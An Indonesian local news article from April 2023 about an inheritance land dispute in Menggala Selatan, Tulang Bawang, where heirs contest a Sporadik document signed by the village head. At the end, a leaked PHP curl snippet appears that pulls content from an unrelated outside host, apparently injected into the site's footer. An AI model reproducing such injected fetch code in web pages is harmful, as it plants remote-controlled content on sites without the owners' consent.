Setelah Digugat, Lurah Menggala Selatan Akui Tak Pernah Terbitkan Sporadik

Kamis, 13 April 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Menggala – Terbitnya Sporadik atas tanah waris Almarhum OYR Pagar Alam oleh kelurahan Menggala Selatan digugat pihak ahli waris.

“Hari Kamis tanggal 22 April 2021, Saya, Yudi Pagar Alam, H. Hadi Pagar Alam dan H. Hoshi Pagar Alam di desa Panaragan bersama petugas Badan Pertanahan Nasional (BPN) bertujuan untuk mengukur tanah milik orang tua kami, Almarhum OYR Pagar Alam seluas 8 hektar. Tiba tiba datanglah lurah Menggala Selatan, Musoli SH. MM mengatakan bahwa tanah tersebut sudah ada Sporadiknya”, tutur Yudi Pagar Alam kepada awak media, Rabu (12/04/2023).

Baca Juga:  Pemkab Lampung Selatan Bersama Baznas Bantu Bedah Rumah Milik Fatihah, Lansia di Desa Kuala Jaya

Yudi Pagar Alam menjelaskan bahwa dirinya sempat mempertanyakan apa yang menjadi dasar lurah Menggala Selatan menerbitkan Sporadik tersebut dan dijawab oleh Lurah Musoli berdasarkan surat kuasa saudara Rizano kepada saudara Doni A.T.H. pada tanggal 23 November 2020.

“Saya menjelaskan bahwa saudara Rizano itu adalah cucu sementara kami adalah ahli waris sah dari Almarhum OYR Pagar Alam dan saat itu kami meminta untuk ditarik kembali dan dibatalkan surat Sporadik tersebut namun sampai saat ini tidak dilaksanakan”, terangnya.

Baca Juga:  Ketua Panitia Pilkati Tiyuh Panca Marga Buka Pendaftaran calon kepala tiyuh Tanggal 11 Sampai 19 Agustus

Yudi Pagar Alam menambahkan bahwa kasus tersebut sudah dilaporkan ke Kepolisian Daerah Lampung tanggyl 31 Mei 2021. Namun sampai ini belum ada kelanjutannya..

“Tanggal 16 Februari 2023 saya ke penyidik menyerahkan bukti tambahan, dan hanya djawab bahwa akan diadakan gelar perkara. Saya juga mempertanyakan melalui pesan WhatsApp tanggal 25 Maret 2023 dan 10 April 2023, namun hanya dibaca saja dan saya sudah membuat laporan kepada Bupati, Kapolres,Sekda,inspektorat. Dan Kajari Tulang Bawang,”tutupnya.

Sementara lurah Menggala Selatan, Musoli saat dikonfirmasi melalui telepon selulernya mengatakan bahwa pihaknya tidak pernah menerbitkan surat Sporadik atas tanah tersebut.

Baca Juga:  Kebakaran Kawasan Hutan Lindung Kembali Terjadi di Petak 87A RPH Blawan Kecamatan Ijen

“Saya hanya tanda tangan mengetahui saja surat Sporadik tersebut, mereka yang buat saya hanya tanda tangan dan Sporadik tersebut bukan surat kepemilikan atas tanah”, ucapnya.

Musoli menambahkan pihaknya menanda tangani sporadik tersebut berdasarkan penguasaan atas lahan oleh Rizano, surat sewa dan surat keturunan yang menyatakan bahwa Rizano adalah keturunan dari keluarga besar tersebut.

“Saya berharap agar dari pihak mereka ada upaya untuk berdamai kami siap untuk membantu mediasi”, tutupnya. (Bambang)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter
Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral
Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah
Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024
DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan
Ketua DPRD Lampung Selatan Erma Yusneli menghadiri upacara tabur HUT Ke-79 TNI tahun 2024
BRI Pringsewu Gelar Panen Hadiah Simpedes 2024, Masyarakat Antusias Bahagia 
Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya

Berita Terkait

Senin, 7 Oktober 2024 - 00:03 WIB

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter

Minggu, 6 Oktober 2024 - 22:49 WIB

Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral

Minggu, 6 Oktober 2024 - 17:31 WIB

Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah

Minggu, 6 Oktober 2024 - 09:51 WIB

Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024

Sabtu, 5 Oktober 2024 - 21:10 WIB

DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>